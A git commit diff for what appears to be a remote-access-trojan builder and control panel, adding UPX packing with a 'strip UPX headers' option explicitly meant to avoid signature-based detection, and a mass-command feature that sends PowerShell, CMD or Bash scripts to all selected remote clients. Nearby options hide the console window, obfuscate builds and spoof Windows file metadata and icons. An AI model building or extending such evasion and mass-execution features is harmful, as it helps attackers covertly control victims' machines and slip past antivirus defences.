feat: UPX compression, mass command, Windows-only badges

This commit is contained in:
unknown
2026-03-16 14:42:18 +01:00
parent 7f82737fbc
commit 1c706b3419
8 changed files with 290 additions and 10 deletions
+14
View File
@@ -103,6 +103,18 @@ if (obfuscateCheckbox && garbleSettingsContainer) {
});
}
const upxCheckbox = document.querySelector('input[name="enable-upx"]');
const upxSettingsContainer = document.getElementById("upx-settings-container");
if (upxCheckbox && upxSettingsContainer) {
upxCheckbox.addEventListener("change", () => {
if (upxCheckbox.checked) {
upxSettingsContainer.classList.remove("hidden");
} else {
upxSettingsContainer.classList.add("hidden");
}
});
}
let pendingIconBase64 = null;
const iconUpload = document.getElementById("icon-upload");
const iconLabel = document.getElementById("icon-label");
@@ -294,6 +306,8 @@ form?.addEventListener("submit", async (e) => {
assemblyVersion: assemblyVersion || undefined,
assemblyCopyright: assemblyCopyright || undefined,
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
+40
View File
@@ -586,6 +586,46 @@ bulkUninstallBtn?.addEventListener("click", async () => {
setTimeout(() => loadWithOptions({ force: true }), 1000);
});
const massCmdInput = document.getElementById("mass-cmd-input");
const massCmdType = document.getElementById("mass-cmd-type");
const massCmdRun = document.getElementById("mass-cmd-run");
massCmdRun?.addEventListener("click", async () => {
const cmd = massCmdInput?.value.trim();
if (!cmd) {
alert("Enter a command to execute.");
return;
}
const scriptType = massCmdType?.value || "powershell";
const count = selectedClients.size;
if (count === 0) return;
if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return;
massCmdRun.disabled = true;
massCmdRun.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Running...';
let success = 0;
for (const clientId of selectedClients) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }),
});
if (res.ok) success++;
} catch {}
}
massCmdRun.disabled = false;
massCmdRun.innerHTML = '<i class="fa-solid fa-terminal"></i> Execute';
alert(`Command sent to ${success}/${count} clients`);
});
massCmdInput?.addEventListener("keydown", (e) => {
if (e.key === "Enter") {
e.preventDefault();
massCmdRun?.click();
}
});
window.toggleClientSelection = toggleClientSelection;
window.isClientSelected = (clientId) => selectedClients.has(clientId);
window.syncClientSelection = syncSelectionState;
+38 -5
View File
@@ -375,7 +375,8 @@
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window (Windows)</span
Hide Console Window
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
>
<span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span
@@ -401,6 +402,37 @@
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
</div>
</div>
@@ -435,9 +467,9 @@
<!-- Windows Assembly / PE Metadata -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2">
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows only)</span>
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
</label>
<div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
@@ -455,9 +487,10 @@
<!-- Icon Upload -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2">
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows .ico, max 1MB)</span>
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label>
<div class="flex items-center gap-3">
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
+24 -2
View File
@@ -112,7 +112,7 @@
<!-- Bulk Actions Toolbar -->
<div
id="bulk-toolbar"
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex items-center justify-between gap-3"
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex flex-wrap items-center justify-between gap-3"
>
<div class="flex items-center gap-2">
<i class="fa-solid fa-check-double text-indigo-300"></i>
@@ -120,7 +120,7 @@
><span id="selected-count">0</span> selected</span
>
</div>
<div class="flex items-center gap-2">
<div class="flex items-center gap-2 flex-wrap">
<button
id="bulk-screenshot"
class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors"
@@ -146,6 +146,28 @@
Clear
</button>
</div>
<div class="flex items-center gap-2 w-full mt-2">
<select
id="mass-cmd-type"
class="px-2 py-2 rounded-lg bg-slate-800/80 border border-slate-600 text-slate-200 text-sm"
>
<option value="powershell">PowerShell</option>
<option value="cmd">CMD</option>
<option value="bash">Bash</option>
</select>
<input
id="mass-cmd-input"
type="text"
placeholder="Run command on selected clients..."
class="flex-1 px-3 py-2 bg-slate-900/70 border border-slate-600 rounded-lg text-slate-100 placeholder:text-slate-500 text-sm focus:outline-none focus:border-amber-500"
/>
<button
id="mass-cmd-run"
class="px-3 py-2 rounded-lg bg-amber-700/70 hover:bg-amber-600 text-amber-100 border border-amber-600 transition-colors text-sm whitespace-nowrap"
>
<i class="fa-solid fa-terminal"></i> Execute
</button>
</div>
</div>
<div id="grid" class="flex flex-col gap-3"></div>
<div class="flex items-center justify-center gap-3 py-4">